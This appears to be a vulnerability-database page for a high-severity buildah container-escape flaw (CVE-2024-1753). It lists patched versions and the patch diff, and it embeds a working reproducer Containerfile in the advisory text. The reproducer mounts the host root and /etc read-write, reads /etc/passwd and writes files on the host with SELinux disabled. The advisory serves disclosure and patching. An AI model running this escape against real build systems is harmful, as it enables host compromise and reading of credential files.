GHSA-pmf3-c36m-g5cf: Github.com/containers/buildah Container Escape At Build Time Vulnerability
HIGHGHSA-pmf3-c36m-g5cf is a HIGH container escape at build time vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/containers/buildah libraries in the Go ecosystem. The issue involves container escape at build time. Remediation is available by upgrading affected packages to version 1.35.1, 1.34.3, 1.33.7, 1.27.4, 1.24.7, 1.29.3, 1.31.5, 1.32.3.
GHSA-pmf3-c36m-g5cf at a Glance
How to Fix GHSA-pmf3-c36m-g5cf
To remediate this vulnerability, upgrade all affected Github.com/containers/buildah dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/containers/buildah to 1.35.1
Upgrade github.com/containers/buildah to 1.34.3
Upgrade github.com/containers/buildah to 1.33.7
Upgrade github.com/containers/buildah to 1.27.4
Upgrade github.com/containers/buildah to 1.24.7
Upgrade github.com/containers/buildah to 1.29.3
Upgrade github.com/containers/buildah to 1.31.5
Upgrade github.com/containers/buildah to 1.32.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/containers/buildah
How to Check if You Are Affected
To determine whether your application is affected by GHSA-pmf3-c36m-g5cf, inspect your project dependencies for Github.com/containers/buildah:
inspect dependencies for github.com/containers/buildah
Analyze the terminal output to locate any version of Github.com/containers/buildah in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.35.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/containers/buildah, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-pmf3-c36m-g5cf Affected Github.com/containers/buildah Versions
8 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/containers/buildah
|
Go |
≥ 1.35.0
< 1.35.1
|
1.35.1
|
|
github.com/containers/buildah
|
Go |
≥ 1.34.0
< 1.34.3
|
1.34.3
|
|
github.com/containers/buildah
|
Go |
≥ 1.33.0
< 1.33.7
|
1.33.7
|
|
github.com/containers/buildah
|
Go |
≥ 1.25.0
< 1.27.4
|
1.27.4
|
|
github.com/containers/buildah
|
Go |
≥ 1.24.0
< 1.24.7
|
1.24.7
|
|
github.com/containers/buildah
|
Go |
≥ 1.28.0
< 1.29.3
|
1.29.3
|
|
github.com/containers/buildah
|
Go |
≥ 1.30.0
< 1.31.5
|
1.31.5
|
|
github.com/containers/buildah
|
Go |
≥ 1.32.0
< 1.32.3
|
1.32.3
|
References
Frequently Asked Questions
What is GHSA-pmf3-c36m-g5cf?
Which Github.com/containers/buildah versions are affected?
What version fixes GHSA-pmf3-c36m-g5cf?
Is github.com/containers/buildah affected?
What CWE is associated with GHSA-pmf3-c36m-g5cf?
How can I check Go dependencies for GHSA-pmf3-c36m-g5cf?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pmf3-c36m-g5cf",
"modified" : "2024-04-05T18:36:17Z",
"published" : "2024-03-19T20:06:52Z",
"aliases" : [ ],
"summary" : "Container escape at build time",
"details" : "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nUsers running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.\n\n### Patches\nFrom @nalind \n```\n# cat /root/cve-2024-1753.diff\n--- internal/volumes/volumes.go\n+++ internal/volumes/volumes.go\n@@ -11,6 +11,7 @@ import (\n \n \t\"errors\"\n \n+\t\"github.com/containers/buildah/copier\"\n \t\"github.com/containers/buildah/define\"\n \t\"github.com/containers/buildah/internal\"\n \tinternalParse \"github.com/containers/buildah/internal/parse\"\n@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st\n \t// buildkit parity: support absolute path for sources from current build context\n \tif contextDir != \"\" {\n \t\t// path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n \t} else {\n \t\t// looks like its coming from `build run --mount=type=bind` allow using absolute path\n \t\t// error out if no source is set\n```\n### Reproducer\n\nPrior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system.\n\nUse the following Containerfile\n\n```\n# cat ~/cve_Containerfile\nFROM alpine as base\n\nRUN ln -s / /rootdir\nRUN ln -s /etc /etc2\n\nFROM alpine\n\nRUN echo \"ls container root\"\nRUN ls -l /\n\nRUN echo \"With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host\"\nRUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit\n\nRUN echo \"With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host\"\nRUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 \n```\n\n#### To Test\n\n##### Testing with an older version of Buildah with the issue\n```\nsetenforce 0\nbuildah build -f ~/cve_Containerfile .\n```\n\nAs part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. \n\n```\nbuildah rm -a\nbuildah rmi -a\nrm /BIND_BREAKOUT\nrm /etc/BIND_BREAKOUT2\nsetenforce 1\nbuildah build -f ~/cve_Containerfile .\n```\nNeither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. \n\nHowever, the files in both the `/` and `/etc` directories on the host system will be displayed.\n\n##### Testing with the patch\n\nUse the same commands as testing with an older version of Buildah.\n\nWhen running using the patched version of Buildah, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes.\n\nNOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image.\n\n\n### Workarounds\nEnsure selinux controls are in place to avoid compromising sensitive system files and systems. With \"setenforce 0\" set, which is not at all advised, the root file system is open for modification with this exploit. With \"setenfoce 1\" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory.\n\n### References\n\nUnknown.\n",
"severity" : [ ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/containers/buildah"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.35.0"
}, {
"fixed" : "1.35.1"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/containers/buildah"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.34.0"
}, {
"fixed" : "1.34.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/containers/buildah"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.33.0"
}, {
"fixed" : "1.33.7"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/containers/buildah"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.25.0"
}, {
"fixed" : "1.27.4"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/containers/buildah"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.24.0"
}, {
"fixed" : "1.24.7"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/containers/buildah"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.28.0"
}, {
"fixed" : "1.29.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/containers/buildah"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.30.0"
}, {
"fixed" : "1.31.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/containers/buildah"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.32.0"
}, {
"fixed" : "1.32.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-1753"
}, {
"type" : "WEB",
"url" : "https://github.com/containers/buildah/commit/3deda19137f5dec0285bbb832bd93c22d860b087"
}, {
"type" : "WEB",
"url" : "https://github.com/containers/buildah/commit/9de9c20ff368beb84b84fe660773d352519dc1c5"
}, {
"type" : "WEB",
"url" : "https://github.com/containers/buildah/commit/a030f7b8cd373075affef1f86de43a87e502f3d8"
}, {
"type" : "WEB",
"url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2265513"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/containers/buildah"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-03-19T20:06:52Z",
"nvd_published_at" : null
}
}